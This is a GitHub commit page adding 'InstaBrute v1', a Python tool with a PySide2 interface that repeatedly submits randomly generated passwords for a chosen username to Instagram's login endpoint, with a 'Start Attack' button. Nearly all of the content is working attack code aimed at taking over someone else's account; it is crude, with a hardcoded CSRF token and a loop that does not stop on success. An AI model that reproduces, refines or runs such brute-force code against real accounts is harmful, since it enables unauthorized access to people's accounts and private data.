This repository has been archived by the owner on Sep 27, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 20
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
198 additions
and
0 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
import requests | ||
import random | ||
import time | ||
|
||
def instabrute(username, min_pass_length, max_pass_length, timeout, output=None): | ||
start_time = time.time() | ||
url = 'https://www.instagram.com/accounts/login/ajax/' | ||
headers = { | ||
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', | ||
'x-csrftoken': 'jxwzFbtrRyNfzMDkJWnG8lNjKzS11GJd', | ||
'x-requested-with': 'XMLHttpRequest', | ||
'referer': 'https://www.instagram.com/accounts/login/', | ||
} | ||
|
||
while True: | ||
password = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(random.randint(min_pass_length, max_pass_length))) | ||
data = { | ||
'username': username, | ||
'password': password, | ||
'queryParams': '{}', | ||
'optIntoOneTap': 'false', | ||
} | ||
response = requests.post(url, headers=headers, data=data) | ||
if 'authenticated":true' in response.text: | ||
output.appendPlainText(password) | ||
elif time.time() > start_time + timeout: | ||
output.appendPlainText('Timeout reached. Could not find correct password.') | ||
else: | ||
time.sleep(1) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,169 @@ | ||
|
||
from PySide2.QtCore import * | ||
from PySide2.QtWidgets import * | ||
from PySide2.QtGui import * | ||
import webbrowser | ||
import core | ||
This comment has been minimized.
Sorry, something went wrong. |
||
|
||
class Widget1(QWidget): | ||
def __init__(self, parent=None): | ||
super(Widget1, self).__init__(parent) | ||
self.gui() | ||
|
||
def gui(self): | ||
self.w1 = self | ||
self.w1.setAutoFillBackground(True) | ||
self.w1.setWindowTitle("InstaBrute v1") | ||
self.w1.resize(380, 410) | ||
self.w1.setCursor(Qt.ArrowCursor) | ||
self.w1.setToolTip("") | ||
self.label1 = QLabel(self.w1) | ||
self.label1.setText("Username") | ||
self.label1.move(20, 90) | ||
self.label1.resize(50, 22) | ||
self.label1.setCursor(Qt.ArrowCursor) | ||
self.label1.setToolTip("") | ||
self.instausername = QLineEdit(self.w1) | ||
self.instausername.setText("") | ||
self.instausername.move(90, 90) | ||
self.instausername.resize(110, 22) | ||
self.instausername.setCursor(Qt.IBeamCursor) | ||
self.instausername.setToolTip("") | ||
self.minpass = QSpinBox(self.w1) | ||
self.minpass.setMinimum(0) | ||
self.minpass.setMaximum(100) | ||
self.minpass.setSingleStep(1) | ||
self.minpass.setValue(0) | ||
self.minpass.move(130, 120) | ||
self.minpass.resize(40, 22) | ||
self.minpass.setCursor(Qt.ArrowCursor) | ||
self.minpass.setToolTip("") | ||
self.label2 = QLabel(self.w1) | ||
self.label2.setText("Min Password Range") | ||
self.label2.move(20, 120) | ||
self.label2.resize(100, 22) | ||
self.label2.setCursor(Qt.ArrowCursor) | ||
self.label2.setToolTip("") | ||
self.label2_copy = QLabel(self.w1) | ||
self.label2_copy.setText("Max Password Range") | ||
self.label2_copy.move(20, 150) | ||
self.label2_copy.resize(110, 22) | ||
self.label2_copy.setCursor(Qt.ArrowCursor) | ||
self.label2_copy.setToolTip("") | ||
self.maxpass = QSpinBox(self.w1) | ||
self.maxpass.setMinimum(0) | ||
self.maxpass.setMaximum(100) | ||
self.maxpass.setSingleStep(1) | ||
self.maxpass.setValue(0) | ||
self.maxpass.move(130, 150) | ||
self.maxpass.resize(40, 22) | ||
self.maxpass.setCursor(Qt.ArrowCursor) | ||
self.maxpass.setToolTip("") | ||
self.label3 = QLabel(self.w1) | ||
self.label3.setText("Timeout") | ||
self.label3.move(20, 180) | ||
self.label3.resize(50, 22) | ||
self.label3.setCursor(Qt.ArrowCursor) | ||
self.label3.setToolTip("") | ||
self.timeout1 = QSpinBox(self.w1) | ||
self.timeout1.setMinimum(0) | ||
self.timeout1.setMaximum(100) | ||
self.timeout1.setSingleStep(1) | ||
self.timeout1.setValue(0) | ||
self.timeout1.move(130, 180) | ||
self.timeout1.resize(40, 22) | ||
self.timeout1.setCursor(Qt.ArrowCursor) | ||
self.timeout1.setToolTip("") | ||
self.button1 = QToolButton(self.w1) | ||
self.button1.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed) | ||
self.button1.setText("Start Attack") | ||
self.button1.move(200, 160) | ||
self.button1.resize(160, 42) | ||
self.button1.setCursor(Qt.ArrowCursor) | ||
self.button1.setToolTip("") | ||
self.button1.clicked.connect(self.start_attack) | ||
self.results = QPlainTextEdit(self.w1) | ||
self.results.setPlainText("") | ||
self.results.move(10, 210) | ||
self.results.resize(360, 150) | ||
self.results.setCursor(Qt.ArrowCursor) | ||
self.results.setToolTip("") | ||
self.button2 = QToolButton(self.w1) | ||
self.button2.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed) | ||
self.button2.setText("") | ||
button2_pixmap = QPixmap("aparat.jpg") | ||
self.button2.setAutoRaise(True) | ||
self.button2.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) | ||
self.button2.setIconSize(button2_pixmap.size()) | ||
self.button2.setIcon(QIcon(button2_pixmap)) | ||
self.button2.move(330, 360) | ||
self.button2.resize(40, 42) | ||
self.button2.setCursor(Qt.ArrowCursor) | ||
self.button2.setToolTip("") | ||
self.button2.clicked.connect(self.aparat) | ||
self.button3 = QToolButton(self.w1) | ||
self.button3.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed) | ||
self.button3.setText("") | ||
button3_pixmap = QPixmap("github.jpg") | ||
self.button3.setAutoRaise(True) | ||
self.button3.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) | ||
self.button3.setIconSize(button3_pixmap.size()) | ||
self.button3.setIcon(QIcon(button3_pixmap)) | ||
self.button3.move(290, 360) | ||
self.button3.resize(40, 42) | ||
self.button3.setCursor(Qt.ArrowCursor) | ||
self.button3.setToolTip("") | ||
self.button3.clicked.connect(self.github) | ||
self.button4 = QToolButton(self.w1) | ||
self.button4.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed) | ||
self.button4.setText("") | ||
button4_pixmap = QPixmap("insta.jpg") | ||
self.button4.setAutoRaise(True) | ||
self.button4.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) | ||
self.button4.setIconSize(button4_pixmap.size()) | ||
self.button4.setIcon(QIcon(button4_pixmap)) | ||
self.button4.move(250, 360) | ||
self.button4.resize(40, 42) | ||
self.button4.setCursor(Qt.ArrowCursor) | ||
self.button4.setToolTip("") | ||
self.button4.clicked.connect(self.instagram) | ||
self.label4 = QLabel(self.w1) | ||
self.label4.setText("CopyRight (C) HaniSoftwares 2019-2023") | ||
self.label4.move(10, 370) | ||
self.label4.resize(210, 22) | ||
self.label4.setCursor(Qt.ArrowCursor) | ||
self.label4.setToolTip("") | ||
self.image5 = QLabel(self.w1) | ||
self.image5.setPixmap(QPixmap("logo.png")) | ||
self.image5.move(40, 0) | ||
self.image5.resize(301, 71) | ||
self.image5.setAutoFillBackground(True) | ||
palette = self.image5.palette() | ||
palette.setColor(self.image5.backgroundRole(), QColor(255, 255, 255, 255)) | ||
self.image5.setPalette(palette) | ||
self.image5.setCursor(Qt.ArrowCursor) | ||
self.image5.setToolTip("") | ||
return self.w1 | ||
|
||
def start_attack(self): | ||
username = self.instausername.text() | ||
min_pass_length = self.minpass.value() | ||
max_pass_length = self.maxpass.value() | ||
timeout = self.timeout1.value() | ||
core.instabrute(username, min_pass_length, max_pass_length, timeout, output=self.results) | ||
|
||
def aparat(self): | ||
webbrowser.open_new("aparat.com/hanicraft2") | ||
|
||
def github(self): | ||
webbrowser.open_new("github.com/hanicraft") | ||
|
||
def instagram(self): | ||
webbrowser.open_new("instagram.com/mohamadhanijanaty85") | ||
|
||
if __name__ == '__main__': | ||
import sys | ||
app = QApplication(sys.argv) | ||
a = Widget1() | ||
a.show() | ||
sys.exit(app.exec_()) |
why can't i find core in pycharms packages ?